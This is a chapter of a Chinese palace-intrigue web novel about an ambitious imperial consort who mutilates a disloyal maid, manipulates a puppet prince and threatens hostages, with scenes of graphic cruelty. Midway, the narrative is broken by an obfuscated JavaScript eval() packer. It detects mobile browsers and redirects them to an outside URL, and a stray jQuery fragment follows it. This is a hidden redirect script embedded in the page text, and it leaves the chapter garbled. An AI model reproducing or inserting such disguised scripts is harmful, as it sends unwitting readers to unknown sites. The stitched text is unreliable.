“皇贵妃娘娘。”小桃诚惶诚恐,没想到她都躲到冷宫里来了,却还是被沈雨菲给找了出来,“娘娘饶命......娘娘饶命......奴婢再也不敢了......”
“不敢?”沈雨菲冷冷的笑了笑,一副轻蔑的神情看着眼前趴在地上不停磕头的小桃,眼神犀利如同冰刃般想把她生吞活剥。
小桃跟随她有十年之久了,这十年来,每个难熬的日日夜夜陪伴她的都是小桃,沈雨菲觉得自己只不过是利用了她去牵制住子平,并未觉得自己做了什么错事,可为什么小桃却宁愿投奔曹氏也要背叛她呢?
沈雨菲有些不是很理解,她本以为天下之人都可以背叛她,可是小桃是绝不会的,可是就是一次试探,却打破了她最后的信任。
“你知道吗?是你让本宫变成这样无情无义之人。”沈雨菲心里越想,越觉得十分气愤,她指甲深陷进手腕之中,对待背叛之人绝不能心慈手软。
“本宫看你挺敢的呀。”沈雨菲大笑一声,那笑声在整座大殿之中回荡,让听者觉得胆寒,“你知道背叛本宫的下场是什么吗?”
小桃脸色一变,看起来苍白没有丝毫血色,她跟了沈雨菲十几年,自然对她的一举一动都是十分的了解的。
甚至有的时候还是她亲眼监视着曾经和沈雨菲敌对失败的妃嫔们,亲眼看着她们有的被斩断了手脚安置在一个泡菜坛子里。有的被挑断了手脚筋,余生只能瘫痪的躺在床上。还有的被卖入了窑子里,此生都沦落成为风尘女子。
小桃摇头,嘴里一直嘀咕着“不要。”
“娘娘,求求你了,不要......我不要被砍断手脚......也不要沦为风尘女子......”
女子的名节是最为重要的,如果她被卖入窑子里,此生她还怎么面对家里的父母以及弟妹,小桃爬到沈雨菲的跟前,紧紧的抱住沈雨菲的大腿。
她是真的怕了,眼前的这个女人是多么的蛇蝎心肠,折磨人的方法有千百种,小桃心里自然是十分明白的。
沈雨菲一脸嫌弃的踢开了小桃,此时虽然她的心很痛,但比起背叛,她到宁愿自己心狠,再狠一些,只有这样,她才能无所顾忌的登上这个王座,成为整个西晋的王。
每次看到宇文辰一脸脓包的样子,她心里就来气,不就是死了一个公主么,至于要如此颓废么?
“如果不是看在你是王室血脉,且最容易掌控的份上,宇文辰,你早就死了。”她心想:“就像宇文昭一样,早就化为一副枯骨。”
也不知为什么,每次想起宇文昭,沈雨菲的内心就十分的烦躁不安,醒醒吧,宇文昭已经死了,就算再不舍,他还是死了。
她低头目光再次落到小桃的身上,右手轻轻的抚摸着小桃的脸颊,轻声道:“放心,本宫不会杀你的,也不会让你有机会自杀,你可是要一直陪伴在本宫的身边,看着本宫如何一步一步的成为这西晋的王。”
“成为西晋的王?”小桃心知自己已经听到了最不应该听到的秘密,她欲哭无泪,这下沈雨菲肯定是不会放过自己的,还没等小桃回过神来,沈雨菲大声喊道:“来人,砍去她的手脚,拔掉她的舌头。”
“本宫要让她活着,好好的活着,明白了吗?”
此话一出,小桃绝望之下怒声咒骂道:“毒妇,我做鬼也不会放过你的......”
小桃悲凉的绝望声响彻整个重华宫,宫女太监们私底下窃窃私语,琴心听闻也只是觉得畅快:“真是自作孽,不可活。”
想起那日沈雨菲和大监子平的对话,琴心当即便心生一计,暗中指引着小桃前往凤仪宫,并在宫门口刚好碰见了秋桂。
果真是病急乱投医,小桃阴差阳错之下便投靠了王后,还对着王后把沈雨菲如何同子平勾结谋害宇文渊的事情说了出来,以此来表示忠心。
两姓家奴自然是不可信的,小桃跟随沈雨菲十几年,说背叛就背叛了,所以不管小桃如何说得天花乱坠,王后自始至终还是不会信任她。
这不,她一看王后即将倒台,便暗中逃离了凤仪宫,躲到冷宫去了。
琴心自然也是知道小桃躲在冷宫之中,所以暗中便把消息传递给了大监子平,“小桃,你跟随沈雨菲作恶多端,如今自然也应该承受恶果。”
黑暗之中,一个和琴心长得一模一样的女人出现在假山的后面。
“少主。”
雪微微微一笑:“小桃如今与死无异,你以后只需要盯紧沈雨菲即可。”
“是。”
雪微说完,便消失在假山后的密道中,这条密道连接着重华宫,雪微也是小的时候来这里游玩陡然才发现的。
以前这座重华宫本来是历任王上的寝宫,后来宇文渊登上王位之后,重华宫便一直空置了,直到沈雨菲被封为贵妃之后,宇文渊为了表示自己对沈雨菲的宠爱有加,这才把这座重华宫赏赐给她。
沈雨菲自然也是知道这个密道的存在的,因为雪微小的时候曾经拉着沈雨菲游玩过这个密道,要不然怎么会这么凑巧,她别的不要却偏偏像宇文渊要了这座重华宫。
雪微想起了和沈雨菲小的时候,二人之间的亲密无间,有的时候甚至同吃同住,她可是一直把沈雨菲当作自己的姐姐看待,虽然不是亲的,但与亲人也是没有差别的。
“被人背叛的感觉如何?”雪微心里感慨:“如今,你也尝试了被人背叛的滋味。”
想起家人,想起族人的惨死,雪微有的时候真的很想把沈雨菲的心给挖出来看看,看看她的心到底长成什么样。
“爹,娘,我今天见到了沈雨菲,她如今成为了皇贵妃了,不再是以前那个懵懂无知的小女孩了。”
雪微沉默了许久:“你们放心,我一定会亲手把她带到你们的面前,让她跪在你们的面前忏悔。”
宁王府被屠杀的场景历历在目,三百多口人,一夜之间葬送在大火之中,尸骨无存,那样的场面何其悲凉。
“血海深仇,非鲜血不足以为报,我一定会手刃沈雨菲,用她的鲜血以慰藉那些被她害死的亡灵。”
自从十一和师父决斗以来,师父就再也没有来找过雪微,雪微也不知道他们之间到底达成了什么交易,要不然,十一是绝不会代她受过的。
代她受过的惩罚是罚上加罚,本来雪微只需要承受六十四剑,如果十一代罚便要承受一百零八剑。
不管怎样,好在十一身上的伤口已经好得差不多了,雪微因此也懒得多想,免得庸人自扰。
“今日敷完药后,明日我就不再过来了,你的伤口已经好得差不多了,只不过这疤痕估计还得过一段时间才会消失。”
雪微用温毛巾替十一擦拭了一番,她可从未这么细心的照顾过任何人,如果十一不是因为替她受过,雪微心中过意不去,她想,她应该不会来得如此殷情,以减轻自己心里的负担。
“本王的伤口已经恢复了吗?为何本王还觉得浑身酸痛?”听到雪微说自己不来了,十一心中有些心急,先前不要她来吧,她每日都会到自己的眼前晃悠,现在自己好不容易说服了自己接受了她,可她突然又不来了。
这种感觉就像是自己好不容易得到了一件东西,突然又面临着失去,十一心中失落落的,瞬间便有点开心不起来。
“可能......可能是你躺久了,没有运动。”雪微点头,“你多复健复健应该就好了。”
“废话......”
“尽说些废话......”十一心想:“本王要的是复健吗?本王是觉得......”
羞的一下,十一的双脸红彤彤的,浑身无比燥热,脑海中刚刚想起了雪微替他擦药的场景,那冰凉的手指紧贴着他的肌肤,让他的那颗小心脏噗通噗通直跳,都快跳到嗓子眼了。
“你怎么了,身体怎么这么烫?”雪微伸出右手,把掌心放到十一的额头处摸了摸,“你不会是发烧了吧?”
十一沉默呆呆的看着雪微,点了点头:“刚才就跟你说过了,我浑身难受。”
他哪里是什么发烧,他本来就身中银蟾蛇毒,一直依靠着冰玉进行缓解,银蟾蛇毒属火,冰玉属寒,二者一冷一热,刚刚好就压制住了他身体里的银蟾蛇毒。
而现在他刚好取下了冰玉,所以他的身体顿时变得无比的燥热,因此也就有了雪微看到的一幕,以为他发了烧。
“还好,只是偶感风寒,我给你开几副药,你叫子昂熬给你喝就好了。”雪微笑着说道,她从未如此的温柔,就像在哄一个小孩子一样。
“我......”
“有事?”
十一很想厚着脸皮请求雪微留下,但话到嘴边,却又硬生生的吞了进去。
“没事......”
雪微转身提着药箱便离开了,只留下子昂在一旁看着干着急。
“少主,你既然喜欢王妃,为什么又不告诉她呢?”子昂一脸懵逼,他心想他如果有一天他要是喜欢上了一个人,一定会昭告天下,让所有人都知道他喜欢她。
“我怕我陪不了她一辈子,给不了她一生一世的承诺?”十一垂头丧气,是啊,他只有不到一年的寿命了,一年后呢?又会怎样?
子昂听到十一的话,不免觉得难受,他怎么忘记了,少主身中银蟾蛇毒,此蛇毒无解:“这该怎么办呢?少主的命怎么就这么苦呢?”子昂心想:“少主好不容易遇到了一个喜欢的人,难不成就要这样生生的错过?”
“不行......”
“我绝不会眼睁睁的看着少主中毒身亡。”
他对着十一说道:“也许王妃能够研制出解药呢?少主,你就别太灰心了,属下就算是上刀山下火海也会为你找到解药的。”
他继续劝解道:“你和王妃一定会在一起一辈子的,你们一定会幸福的。”虽然说这话的时候,子昂的心情十分的沉重,但他真心希望少主能够获得幸福。
十一勉强笑了笑:“如果一年后,我还活着,我就去跟她告白。”
他抬头看着子昂,笑着说道:“这事你一定要对王妃保密,我不想让她的心里背负压力。”
子昂点了点头,心里暗自发誓一定要寻找到解药,一定要让少主和王妃二人幸福的在一起。
宇文修与曹坚死守京城大门,盘踞一方,不进也不退,惹得京中各位大臣们叫苦连天,折子一道道的往上递,如今宣政殿案台上的奏折已经堆得如山高了。
沈雨菲气急败坏,怒道:“这帮老臣,往日里本宫对他们可谓是有求必应,现如今见到曹坚和宇文修的十万大军,就一个个的吓得瑟瑟发抖了。”
她随便抽出一个折子,折子上面如出一辙的写着“求和。”
“求和......求和......求和......”
她生气的把折子甩落到地上并大声呵斥道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987277|192250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“除了求和,难道就没有什么别的方案了吗?”
“本宫养着他们这群废物,简直是吃屎的,事到如今,连一个有用的方案都没有。”
“娘娘切勿为了这群臣子动怒。”子平捡起地上散落的奏折,再次整理好后放到了案台上,然后说道:“事情还未到如此严重的地步,咱们不是还有凤仪宫的那位......”
“曹氏?”
沈雨菲嘴角向上的笑了笑,“对啊,曹氏可还在本宫的手中呢?”
她转身对着子平命令道:“去剁下曹氏的一根手指,然后派人送到曹军大营里去。”
“是。”子平弯腰行礼之后便退出了宣政殿。
沈雨菲看着子平逐渐消失的身影,神色极为扭曲:“本宫就不信治不了你们这群蝼蚁。”
她起身来到一个黑乎乎的角落,看着蜷缩在角落里的宇文辰,一脸的嫌弃:“怎么,连你也要背叛本宫了吗?”
“看看这是什么?”沈雨菲丢给宇文辰一块手绢,那手绢上绣着一朵芍药。
宇文辰捡起地面上的手绢,看了看,本就无神的双眼顿时略带怒气:“你把我母妃怎么样了?”
“本宫能够把她怎么样呢?”沈雨菲顿了顿,继续说道:“让本宫想一想......”
“嗯,要不把她打入冷宫,又或者砍了她的双脚。”沈雨菲摇了摇头,觉得都不太好,紧接着又说道:“要不......一刀一刀的把她给刮了......”
“你敢......”宇文辰大声喝道。
“本宫有何不敢?”沈雨菲从上往下怒视着宇文辰,“不过,如果你肯听从本宫的命令的话,本宫倒是可以网开一面。”
“你杀了我阿姐,我怎么可能会听你的话呢?”宇文辰一脸厌恶与嫌弃。
“哦,原来如此。”沈雨菲笑出了声:“淑宁公主明明是你杀死的,宇文辰,这才没过几天,你就忘了吗?”
“你不会失忆了吧。”
“不......是你杀的......”宇文辰大声道:“是你紧握着我的手,然后狠狠的推了我一把......”
他紧接着呐喊道:“是你......是你......都是因为你,我阿姐才会死的。”
“啪”的一声,沈雨菲直接一巴掌甩到了宇文辰的脸上,“不管她是怎么死的,如今她都已经死了,如今旧事重提,还有意义吗?”
“我们活着的人难道不更应该好好的活着吗?”
沈雨菲用手狠狠的戳了戳宇文辰的胸口:“你要记住,淑宁公主是为了你而死的,从你开始准备夺取王位的时候就应该知道,要想上位必须得流血牺牲的。”
“为我而死。”宇文辰自言自语道:“阿姐是为我而死的......”
“是的,所以你更应该夺取王位,成为西晋的王,只有这样才对得起你的阿姐。”沈雨菲一字一句,咬牙切齿的说道。
如果不是宇文辰还有点用处,她才不会跟宇文辰说这么多废话呢?看着这张脸,她还是本能的亲吻了上去,“记着,等我们登上王位,你想要什么,我都会满足你。”
“抱着我,抱紧我......”
沈雨菲感受到自己浑身躁动,欲望像个小火苗般越烧越旺盛,直到狠狠的把自己包裹住。
她需要一个傀儡,一个听话的傀儡,而宇文辰刚好就是那个听话的傀儡。
“我爱你,你不要再生我的气了,好吗?”她在宇文辰的耳边吹着枕头风,温柔细语的说着:“为了你能够登上王位,让我做什么都行。”
也许是被欲望冲昏了头脑,又或者是被美人迷了眼,总之,宇文辰彻底的沦陷进了沈雨菲的温柔乡。
此时,与他们相隔不远的角落,宇文渊正瞪大着双眼怒斥着这一切,他身体并未完全恢复,拿着匕首的右手还止不住的颤抖,但没过一会儿,他又恢复了往日里双目无神的模样,呆呆的坐在那里。
大监子平气喘吁吁的闯进了大殿内,见二人还在沉睡之中,便默默的退了出去,在宣政殿门口来回踱步,心中充满了不安。
待沈雨菲从寝宫中走了出来之后,子平突然双膝跪地,“娘娘,不好了,曹氏......曹氏自杀了......”
“自杀?”
眼下这个节骨眼上,曹氏居然闹自杀,这不是明摆着给了曹坚和宇文修二人叛变的理由吗?沈雨菲怒火中烧,一气之下推翻了整个案台,顿时案台之上的奏折散落满地。
“她死了没有?”
子平摇头道:“还没死,还吊着一口气呢?”
他继续说道:“是曹氏的贴身宫女秋桂即时发现了,这才救了曹氏一条命。”
“她命可真大。”沈雨菲舒了口气,缓了缓:“幸亏没死,要不然,本宫定让她做鬼也无法安宁。”
她对着子平继续说道:“去,给本宫去叫上太医院的所有太医,叫他们一定要给曹氏吊着一口气,曹氏要是死了,他们也就跟着陪葬吧。”
子平点头,转身便火急火燎的跑出了宣政殿。
这可算什么事啊,凤仪宫的这位废后,怎么就是如此不安份呢?时不时的惹事生非。子平对这位废后可是没什么好感。
他手中牢牢的握着曹氏的一根手指头,心想:“不就是断了你一根手指吗?至于要死要活的吗?”
“毕竟死了可就什么都没有了。”